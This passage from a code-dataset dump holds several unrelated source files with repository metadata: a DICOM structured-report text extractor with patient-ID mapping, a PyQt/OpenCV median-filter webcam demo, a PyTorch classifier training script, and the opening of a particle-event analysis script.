defined in the former and the rest in the latter.\n# The Mongo definitions expected in yaml are:\n# MongoDatabases | DicomStoreOptions for reading records from\n# the dicom database instead of from DICOM files.\n# MongoDatabases | SemEHRStoreOptions for testing if the record\n# read from the dicom database already exists in the SemEHR db.\n\nimport argparse\nimport logging, logging.handlers\nimport os\nimport sys\nimport json\nimport yaml\nimport pydicom\nimport re\nfrom deepmerge import Merger # for deep merging yaml dictionaries\nfrom SmiServices import Mongo\nfrom SmiServices import Dicom\nfrom SmiServices import DicomText\nfrom SmiServices import StructuredReport as SR\nfrom SmiServices import IdentifierMapper\n\n# List of DICOM SR tags which we want exported in metadata json files\nmetadata_fields = [\n \"SOPClassUID\",\n \"SOPInstanceUID\",\n \"StudyInstanceUID\",\n \"SeriesInstanceUID\",\n \"ContentDate\",\n \"ModalitiesInStudy\",\n \"PatientID\", # this one will be mapped from CHI to EUPI\n]\n\n\n# ---------------------------------------------------------------------\n# PatientID mapping from CHI to EUPI\n\ndef patientid_map(PatientID):\n \"\"\" Map patientid from CHI to EUPI using the database\n defined in the IdentifierMapper configuration yaml file.\n Returns \"UNKNOWN\" if there is no mapping or the database\n is not available.\n XXX Note that there's no error raised for database failure.\n \"\"\"\n try:\n eupi = IdentifierMapper.CHItoEUPI().lookup(PatientID)\n except Exception as e:\n #print(e)\n eupi = None\n if not eupi:\n return 'UNKNOWN'\n return eupi\n\n\n# ---------------------------------------------------------------------\n\ndef extract_mongojson(mongojson, output, metadata_output=None, DicomTextArgs = None):\n \"\"\" Called by extract_mongojson_file\n to parse the JSON from Mongo and write to output.\n mongojson - the DICOM in JSON format.\n output - can be a directory or a filename.\n metadata_output - likewise.\n DicomTextArgs - can be a dict with options passed to StructuredReport\n ('replace_HTML_char' and 'replace_newline_char' in particular).\n \"\"\"\n\n if not DicomTextArgs:\n DicomTextArgs = {}\n\n if os.path.isdir(output):\n filename = Dicom.tag_val(mongojson,'SOPInstanceUID', atomic=True) + '.txt'\n output = os.path.join(output, filename)\n if metadata_output and os.path.isdir(metadata_output):\n mfilename = Dicom.tag_val(mongojson,'SOPInstanceUID', atomic=True) + '.json'\n metadata_output = os.path.join(metadata_output, mfilename)\n logging.info('Parse %s' % mongojson.get('header',{}).get('DicomFilePath',''))\n if 'PatientID' in mongojson:\n mongojson['PatientID'] = patientid_map(mongojson['PatientID'])\n with open(output, 'w') as fd:\n sr = SR.StructuredReport(**DicomTextArgs)\n sr.SR_parse(mongojson, filename, fd)\n if metadata_output:\n with open(metadata_output, 'w') as fd:\n print(json.dumps({k:mongojson[k] for k in metadata_fields if k in mongojson}), file=fd)\n logging.info(f'Wrote {metadata_output}')\n logging.info(f'Wrote {output}')\n\n\ndef extract_mongojson_file(input, output, metadata_output=None, DicomTextArgs = None):\n \"\"\" Read MongoDB data in JSON format from input file\n convert to output, which can be a filename or directory.\n input - filename containing DICOM data in JSON format\n output - can be a directory or a filename.\n metadata_output - likewise.\n DicomTextArgs - can be a dict with options passed to StructuredReport\n ('replace_HTML_char' and 'replace_newline_char' in particular).\n \"\"\"\n with open(input, 'r') as fd:\n mongojson = json.load(fd)\n extract_mongojson(mongojson, output, metadata_output=metadata_output, DicomTextArgs = DicomTextArgs)\n\n\n# ---------------------------------------------------------------------\n\ndef extract_dicom_file(input, output, metadata_output=None, DicomTextArgs = None):\n \"\"\" Extract text from a DICOM file.\n input - filename of DICOM file.\n output - can be a directory or a filename.\n For a directory the file is named by its SOPInstanceUID.\n metadata_output - likewise.\n DicomTextArgs - can be a dict with options passed to DicomText\n ('replace_HTML_char' and 'replace_newline_char' in particular).\n \"\"\"\n\n if not DicomTextArgs:\n DicomTextArgs = {}\n\n # Extract text using DicomText class\n dicomtext = DicomText.DicomText(input, **DicomTextArgs)\n dicomtext.parse()\n\n if os.path.isdir(output):\n filename = dicomtext.SOPInstanceUID() + '.txt'\n output = os.path.join(output, filename)\n if metadata_output and os.path.isdir(metadata_output):\n filename = dicomtext.SOPInstanceUID() + '.json'\n metadata_output = os.path.join(metadata_output, filename)\n with open(output, 'w') as fd:\n fd.write(dicomtext.text())\n if metadata_output:\n with open(metadata_output, 'w') as fd:\n metadata_json = {k:dicomtext.tag(k) for k in metadata_fields if dicomtext.tag(k)}\n metadata_json['PatientID'] = patientid_map(metadata_json.get('PatientID',''))\n print(json.dumps(metadata_json), file=fd)\n logging.info(f'Wrote {metadata_output}')\n logging.info(f'Wrote {output}')\n\n\n# ---------------------------------------------------------------------\n\ndef extract_file(input, output, metadata_output=None, DicomTextArgs=None):\n \"\"\" Extract text from a DICOM file or a JSON file (from MongoDB).\n input - filename of DICOM/JSON file.\n output - can be a directory or a filename.\n For a directory the file is named by its SOPInstanceUID.\n metadata_output - likewise.\n DicomTextArgs - can be a dict with options passed to DicomText\n ('replace_HTML_char' and 'replace_newline_char' in particular).\n Calls extract_dicom_file or extract_mongojson_file as appropriate.\n \"\"\"\n try:\n pydicom.dcmread(input)\n is_dcm = True\n except:\n is_dcm = False\n\n if is_dcm:\n extract_dicom_file(input, output, metadata_output, DicomTextArgs = DicomTextArgs)\n else:\n extract_mongojson_file(input, output, metadata_output, DicomTextArgs = DicomTextArgs)\n\n\n\n# ---------------------------------------------------------------------\nif __name__ == '__main__':\n\n # Parse command line arguments\n parser = argparse.ArgumentParser(description='SR-to-Anon')\n parser.add_argument('-y', dest='yamlfile', action=\"append\", help='path to yaml config file (can be used more than once)')\n parser.add_argument('-i', dest='input', action=\"store\", help='SOPInstanceUID or path to raw DICOM file from which text will be redacted')\n parser.add_argument('-o', dest='output_dir', action=\"store\", help='path to directory where extracted text will be written')\n parser.add_argument('-m', dest='metadata_dir', action=\"store\", help='path to directory where extracted metadata will be written')\n parser.add_argument('--semehr-unique', dest='semehr_unique', action=\"store_true\", help='only extract from MongoDB/dicom if not already in MongoDB/semehr')\n parser.add_argument('--replace-html', action=\"store\", help='replace HTML with a character, default is dot (.), or \"squash\" to eliminate')\n parser.add_argument('--replace-newlines', action=\"store\", help='replace carriage returns and newlines with a character (e.g. a space) or \"squash\" to eliminate')\n args = parser.parse_args()\n if not args.input:\n parser.print_help()\n exit(1)\n if not args.output_dir:\n args.output_dir = '.'\n\n cfg_dict = {}\n if not args.yamlfile:\n args.yamlfile = [os.path.join(os.environ['SMI_ROOT'], 'configs', 'smi_dataExtract.yaml')]\n for cfg_file in args.yamlfile:\n with open(cfg_file, 'r') as fd:\n # Merge all the yaml dicts into one\n cfg_dict = Merger([(list, [\"append\"]),(dict, [\"merge\"])],[\"override\"],[\"override\"]).merge(cfg_dict, yaml.safe_load(fd))\n\n # For reading SRs\n mongo_dicom_host = cfg_dict.get('MongoDatabases', {}).get('DicomStoreOptions',{}).get('HostName',{})\n mongo_dicom_user = cfg_dict.get('MongoDatabases', {}).get('DicomStoreOptions',{}).get('UserName',{})\n mongo_dicom_pass = cfg_dict.get('MongoDatabases', {}).get('DicomStoreOptions',{}).get('Password',{})\n mongo_dicom_db = cfg_dict.get('MongoDatabases', {}).get('DicomStoreOptions',{}).get('DatabaseName',{})\n\n # For writing annotations\n mongo_semehr_host = cfg_dict.get('MongoDatabases', {}).get('SemEHRStoreOptions',{}).get('HostName',{})\n mongo_semehr_user = cfg_dict.get('MongoDatabases', {}).get('SemEHRStoreOptions',{}).get('UserName',{})\n mongo_semehr_pass = cfg_dict.get('MongoDatabases', {}).get('SemEHRStoreOptions',{}).get('Password',{})\n mongo_semehr_db = cfg_dict.get('MongoDatabases', {}).get('SemEHRStoreOptions',{}).get('DatabaseName',{})\n\n log_dir = cfg_dict['LoggingOptions']['LogsRoot']\n root_dir = cfg_dict['FileSystemOptions']['FileSystemRoot']\n\n # ---------------------------------------------------------------------\n # Now we know the LogsRoot we can set up logging\n log_file_handler = logging.handlers.RotatingFileHandler(filename = os.path.join(log_dir,'SRAnonymiser.log'), maxBytes=64*1024*1024, backupCount=9)\n log_stdout_handler = logging.StreamHandler(sys.stdout)\n logging.basicConfig(level=logging.INFO, handlers=[log_file_handler, log_stdout_handler],\n format='[%(asctime)s] {%(filename)s:%(lineno)d} %(levelname)s - %(message)s')\n\n # ---------------------------------------------------------------------\n # Initialise the PatientID mapping by opening a DB connection\n if cfg_dict:\n try:\n IdentifierMapper.CHItoEUPI(cfg_dict)\n except:\n logging.warning('Cannot initialise CHI to EUPI mapping (check IdentifierMapperOptions and check database server)')\n\n # ---------------------------------------------------------------------\n # If the file is a DICOM then DicomText has options to change the output format.\n # These are passed to the DicomText and StructuredReport constructors.\n DicomTextArgs = {\n #'include_header' : True,\n #'replace_HTML_entities' : True,\n 'replace_HTML_char' : '.',\n 'replace_newline_char' : '\\n'\n }\n if args.replace_html:\n DicomTextArgs['replace_HTML_char'] = args.replace_html\n if args.replace_html == \"squash\":\n DicomTextArgs['replace_HTML_char'] = ''\n if args.replace_newlines:\n DicomTextArgs['replace_newline_char'] = args.replace_newlines\n if args.replace_newlines == \"squash\":\n DicomTextArgs['replace_newline_char'] = ''\n\n # ---------------------------------------------------------------------\n if os.path.isfile(args.input):\n # actual path to DICOM\n extract_file(args.input, args.output_dir, args.metadata_dir, DicomTextArgs)\n elif os.path.isfile(os.path.join(root_dir, args.input)):\n # relative to FileSystemRoot\n extract_file(os.path.join(root_dir, args.input), args.output_dir, args.metadata_dir, DicomTextArgs)\n elif os.path.isdir(args.input):\n # Recurse directory\n for root, dirs, files in os.walk(args.input, topdown=False):\n for name in files:\n extract_file(os.path.join(root, name), args.output_dir, args.metadata_dir, DicomTextArgs)\n elif mongo_dicom_db != {}:\n # Only DicomFilePath and StudyDate are indexed in MongoDB.\n # Passing a SOPInstanceUID would be handy but no point if not indexed.\n mongodb_in = Mongo.SmiPyMongoCollection(mongo_dicom_host, mongo_dicom_user, mongo_dicom_pass)\n mongodb_in.setImageCollection('SR')\n mongodb_out = Mongo.SmiPyMongoCollection(mongo_semehr_host, mongo_semehr_user, mongo_semehr_pass)\n mongodb_out.setSemEHRCollection('semehr_results')\n # If it looks like a date YYYY/MM/DD or YYYYMMDD extract all on that day:\n if re.match('^\\\\s*\\\\d+/\\\\d+/\\\\d+\\\\s*$|^\\\\s*\\\\d{8}\\\\s*$', args.input):\n for mongojson in mongodb_in.StudyDateToJSONList(args.input):\n # If it's already in the annotation database then don't bother extracting.\n if not args.semehr_unique or not mongodb_out.findSOPInstanceUID(mongojson['SOPInstanceUID']):\n extract_mongojson(mongojson, args.output_dir, args.metadata_dir, DicomTextArgs)\n # Otherwise assume a DICOM file path which can be retrieved from MongoDB\n else:\n mongojson = mongodb_in.DicomFilePathToJSON(args.input)\n extract_mongojson(mongojson, args.output_dir, args.metadata_dir, DicomTextArgs)\n else:\n logging.error(f'Cannot find {args.input} as file and MongoDB not configured')\n exit(1)\n", "repo_name": "SMI/SmiServices", "sub_path": "src/applications/SRAnonTool/CTP_DicomToText.py", "file_name": "CTP_DicomToText.py", "file_ext": "py", "file_size_in_byte": 13521, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "71", "api": [{"api_name": "SmiServices.IdentifierMapper.CHItoEUPI", "line_number": 60, "usage_type": "call"}, {"api_name": "SmiServices.IdentifierMapper", "line_number": 60, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "SmiServices.Dicom.tag_val", "line_number": 85, "usage_type": "call"}, {"api_name": "SmiServices.Dicom", "line_number": 85, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "SmiServices.Dicom.tag_val", "line_number": 88, "usage_type": "call"}, {"api_name": "SmiServices.Dicom", "line_number": 88, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 90, "usage_type": "call"}, {"api_name": "SmiServices.StructuredReport.StructuredReport", "line_number": 94, "usage_type": "call"}, {"api_name": "SmiServices.StructuredReport", "line_number": 94, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 98, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 99, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 100, "usage_type": "call"}, {"api_name": "json.load", "line_number": 113, "usage_type": "call"}, {"api_name": "SmiServices.DicomText.DicomText", "line_number": 133, "usage_type": "call"}, {"api_name": "SmiServices.DicomText", "line_number": 133, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 136, "usage_type": "call"}, {"api_name": "os.path", "line_number": 136, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 148, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 149, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 150, "usage_type": "call"}, {"api_name": "pydicom.dcmread", "line_number": 166, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 182, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 199, "usage_type": "call"}, {"api_name": "os.path", "line_number": 199, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 199, "usage_type": "attribute"}, {"api_name": "deepmerge.Merger", "line_number": 203, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 203, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 222, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 223, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 223, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 224, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 224, "usage_type": "attribute"}, {"api_name": "SmiServices.IdentifierMapper.CHItoEUPI", "line_number": 231, "usage_type": "call"}, {"api_name": "SmiServices.IdentifierMapper", "line_number": 231, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 233, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 254, "usage_type": "call"}, {"api_name": "os.path", "line_number": 254, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path", "line_number": 257, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "os.walk", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "SmiServices.Mongo.SmiPyMongoCollection", "line_number": 268, "usage_type": "call"}, {"api_name": "SmiServices.Mongo", "line_number": 268, "usage_type": "name"}, {"api_name": "SmiServices.Mongo.SmiPyMongoCollection", "line_number": 270, "usage_type": "call"}, {"api_name": "SmiServices.Mongo", "line_number": 270, "usage_type": "name"}, {"api_name": "re.match", "line_number": 273, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 283, "usage_type": "call"}]} {"seq_id": "41936897456", "text": "from ctypes import *\nimport cv2\nfrom PyQt5 import QtWidgets, QtGui, QtCore\nimport numpy as np\n\n# Carrega a biblioteca compartilhada contendo a função de filtro de mediana em C\nmediana_lib = CDLL(\"./filtro_mediana.so\")\n\n# Define os tipos de argumentos e retorno para a função de filtro de mediana em C\nmediana_lib.filtro_mediana.argtypes = [c_int, c_int, POINTER(c_ubyte), POINTER(c_ubyte)]\nmediana_lib.filtro_mediana.restype = None\n\n# Função de filtro de mediana em Python que chama a função de filtro de mediana em C\ndef filtro_mediana_c(image):\n width, height = image.shape[:2]\n data_in = image.ctypes.data_as(POINTER(c_ubyte))\n data_out = (c_ubyte * (width * height * 3))()\n mediana_lib.filtro_mediana(width, height, data_in, data_out)\n return np.ctypeslib.as_array(data_out, shape=(height, width, 3))\n\n# Função de filtro de mediana em Python que aplica o filtro usando o OpenCV\ndef filtro_mediana_python(image):\n return cv2.medianBlur(image, 5)\n\n\n\n#bibliotcas\n#cv2 (OpenCV) é uma biblioteca de visão computacional muito utilizada em processamento de imagens e vídeos;\n#PyQt5 é uma biblioteca que fornece uma interface gráfica para aplicações em Python;\n#numpy é uma biblioteca de computação numérica utilizada em diversas aplicações, incluindo processamento de imagens.\n\n\n\n#O método __init__ é chamado quando uma instância da classe é criada. Ele define o título da janela (self.setWindowTitle), o tamanho do vídeo (self.video_size) \n# e chama o método setup_ui para configurar a interface gráfica.\n#\n#\nclass Interface(QtWidgets.QWidget):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.setWindowTitle(\"Filtro da Mediana\")\n self.video_size = QtCore.QSize(640, 480)\n self.setup_ui()\n \n \n\n def setup_ui(self):\n self.image_label = QtWidgets.QLabel()\n self.image_label.setFixedSize(self.video_size)\n\n self.quit_button = QtWidgets.QPushButton(\"Quit\")\n self.quit_button.clicked.connect(self.close)\n\n self.filter_dropdown = QtWidgets.QComboBox()\n self.filter_dropdown.addItems([\"Imagem_normal\", \"Imagem_sal_e_pimenta\", \"Filtro_mediana\"])\n self.filter_dropdown.currentIndexChanged.connect(self.aplicando_filtro)\n\n layout = QtWidgets.QVBoxLayout(self)\n layout.addWidget(self.image_label)\n layout.addWidget(self.filter_dropdown)\n layout.addWidget(self.quit_button)\n\n\n #pode ser uma função que recebe uma imagem como entrada e um filtro (kernel) para aplicar na imagem. Essa função usa a técnica de convolução para aplicar o filtro na imagem.\n\n def aplicando_filtro(self):\n filter_name = self.filter_dropdown.currentText()\n if filter_name == \"Imagem_sal_e_pimenta\":\n self.filtro_imagem(sal_e_pimenta)\n elif filter_name == \"Filtro_mediana\":\n self.filtro_imagem(filtro_mediana)\n else:\n self.filtro_imagem(lambda x: x)\n\n def filtro_imagem(self, filter_function):\n pixmap = self.image_label.pixmap()\n if pixmap is None:\n return\n\n image = pixmap.toImage()\n width, height = image.width(), image.height()\n image = image.convertToFormat(QtGui.QImage.Format_RGB888)\n ptr = image.constBits()\n ptr.setsize(image.byteCount())\n\n np_array = np.array(ptr).reshape(height, width, 3)\n\n np_array = filter_function(np_array)\n\n qt_image = QtGui.QImage(np_array.data, width, height, np_array.strides[0], QtGui.QImage.Format_RGB888)\n\n pixmap = QtGui.QPixmap.fromImage(qt_image)\n self.image_label.setPixmap(pixmap)\n\n#sta função aplica um efeito de sal e pimenta aleatório à imagem. Isso é feito selecionando aleatoriamente alguns pixels e definindo seus valores de pixel para preto ou branco.\ndef sal_e_pimenta(image):\n probability = 0.08\n rand = np.random.rand(*image.shape[:2])\n mask = rand < probability / 2.\n image[mask, :] = 0\n out = np.copy(image)\n mask = rand > 1 - probability / 2.\n out[mask, :] = 255\n return out\n\ndef filtro_mediana(image):\n return cv2.medianBlur(image, 5)\n#ste método é chamado quando uma instância da classe MainWindow é criada\nclass MainWindow(QtWidgets.QMainWindow):\n def __init__(self):\n super().__init__()\n self.camera_widget = Interface()\n self.setCentralWidget(self.camera_widget)\n self._capture = None\n self.start_webcam()\n\n def start_webcam(self):\n self._capture = cv2.VideoCapture(0)\n self._capture.set(cv2.CAP_PROP_FRAME_WIDTH, self.camera_widget.video_size.width())\n self._capture.set(cv2.CAP_PROP_FRAME_HEIGHT, self.camera_widget.video_size.height())\n\n self.timer = QtCore.QTimer()\n self.timer.timeout.connect(self.update_frames)\n self.timer.start(5)\n\n def update_frames(self):\n ret, frame = self._capture.read()\n if ret:\n filter_name = self.camera_widget.filter_dropdown.currentText()\n if filter_name == \"Imagem_sal_e_pimenta\":\n frame = sal_e_pimenta(frame)\n self.camera_widget.image_label.setPixmap(QtGui.QPixmap.fromImage(\n QtGui.QImage(frame.data, frame.shape[1], frame.shape[0], QtGui.QImage.Format_RGB888)\n ))\n\n def closeEvent(self, event):\n self._capture.release()\n event.accept()\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n win = MainWindow()\n win.show()\n app.exec_()\n", "repo_name": "marcio-henriquemh/Processamento-de-Imagens-UFS", "sub_path": "filtro_mediana/filtro_2.py", "file_name": "filtro_2.py", "file_ext": "py", "file_size_in_byte": 5525, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.ctypeslib.as_array", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.ctypeslib", "line_number": 19, "usage_type": "attribute"}, {"api_name": "cv2.medianBlur", "line_number": 23, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 38, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QSize", "line_number": 42, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 42, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 48, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 48, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 51, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QComboBox", "line_number": 54, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 54, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 58, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 58, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 82, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 90, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 92, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.random.rand", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.copy", "line_number": 101, "usage_type": "call"}, {"api_name": "cv2.medianBlur", "line_number": 107, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets", "line_number": 109, "usage_type": "name"}, {"api_name": "cv2.VideoCapture", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_WIDTH", "line_number": 119, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FRAME_HEIGHT", "line_number": 120, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.QTimer", "line_number": 122, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 122, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QPixmap.fromImage", "line_number": 132, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QPixmap", "line_number": 132, "usage_type": "attribute"}, {"api_name": "PyQt5.QtGui", "line_number": 132, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QImage", "line_number": 133, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 133, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 141, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 141, "usage_type": "name"}]} {"seq_id": "21661705717", "text": "import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader, Dataset\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport json\nfrom collections import Counter\n\n# Load the features from the JSON file\nwith open('./features.json', 'r') as f:\n data = json.load(f)\n\n# Extract features and labels from the data\nfeatures = [item['features'] for item in data]\nlabels = [item['label'] for item in data]\n\n# Convert features and labels to PyTorch tensors\nX_train_tensor = torch.tensor(features, dtype=torch.float32)\n# Convert labels to unique indices\nlabel_to_index = {label: i for i, label in enumerate(set(labels))}\ny_train_tensor = torch.tensor([label_to_index[label] for label in labels], dtype=torch.long)\n\n# Split the data into training and testing sets\nX_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=0.2, random_state=42)\n\n\n# Define a simple classifier\nclass SimpleClassifier(nn.Module):\n def __init__(self, input_size, output_size):\n super(SimpleClassifier, self).__init__()\n self.fc = nn.Linear(input_size, output_size)\n\n def forward(self, x):\n return self.fc(x)\n\n\n# Initialize the classifier\ninput_size = len(features[0]) # Assuming each feature vector has the same length\noutput_size = len(set(labels)) # Number of unique celebrity labels\nclassifier = SimpleClassifier(input_size, output_size)\n\n# Calculate class weights\nclass_counts = Counter(labels)\nclass_weights = torch.tensor([1.0 / class_counts[label] for label in label_to_index], dtype=torch.float32)\n\n# Normalize class weights\nsum_weights = sum(class_weights)\nclass_weights_normalized = class_weights / sum_weights if sum_weights > 0 else class_weights\n\n# Modify the loss function\ncriterion = nn.CrossEntropyLoss(weight=class_weights_normalized)\noptimizer = optim.Adam(classifier.parameters(), lr=0.001)\n\n# Train the model\nepochs = 50\nfor epoch in range(epochs):\n optimizer.zero_grad()\n outputs = classifier(X_train_tensor)\n loss = criterion(outputs, y_train_tensor)\n loss.backward()\n optimizer.step()\n\n# Evaluate the model\nX_test_tensor = torch.tensor(X_test, dtype=torch.float32)\ny_test_tensor = torch.tensor([label_to_index[label] for label in y_test], dtype=torch.long)\n\nwith torch.no_grad():\n test_outputs = classifier(X_test_tensor)\n _, predicted = torch.max(test_outputs, 1)\n accuracy = accuracy_score(y_test_tensor.numpy(), predicted.numpy())\n\n# Save the model\ntorch.save(classifier.state_dict(), './resnet18New.pth')\n\nprint(f'Test Accuracy: {accuracy * 100:.2f}%')\n", "repo_name": "mbooch22/pet-celebrity-lookalike-backend", "sub_path": "src/train_classifier.py", "file_name": "train_classifier.py", "file_ext": "py", "file_size_in_byte": 2615, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 53, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 71, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 74, "usage_type": "call"}]} {"seq_id": "27004898360", "text": "#!/usr/bin/env python\n\n# data analysis example program\n# Including some examples of how to use DataFrames from pandas\n#\n# Usage :\n# python analysis.py -i test.dat\n\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport argparse\n\nfrom event import Event, Pulse\n\nparser = argparse.ArgumentParser(description='Analyse CSV file')\nparser.add_argument(\"-i\", \"--in_file\", help=\"input file\")\nparser.add_argument(\"-o\", \"--out_file\", help='output file')\nparser.add_argument(\"-n\", \"--n_max\", help='max number of lines to process')\n\nargs = parser.parse_args()\n\nprint(\"Starting analysis\")\n\n# open the file\nifile = open(args.in_file, 'rb')\nevents= pickle.load(ifile)\nn_events= len(events)\n\nprint(\"Read {} events from file\".format(n_events))\n\n# example event loop\ncount = [0, 0, 0, 0] # counts per channel\n\nfor event in events:\n for pulse in event.pulses:\n # only count rising edges\n if pulse.edge == 0:\n count[pulse.chan] += 1\n\nprint(\"Counts by channel\")\nprint(\"Channel 0 : {} \".format(count[0]))\nprint(\"Channel 1 : {} 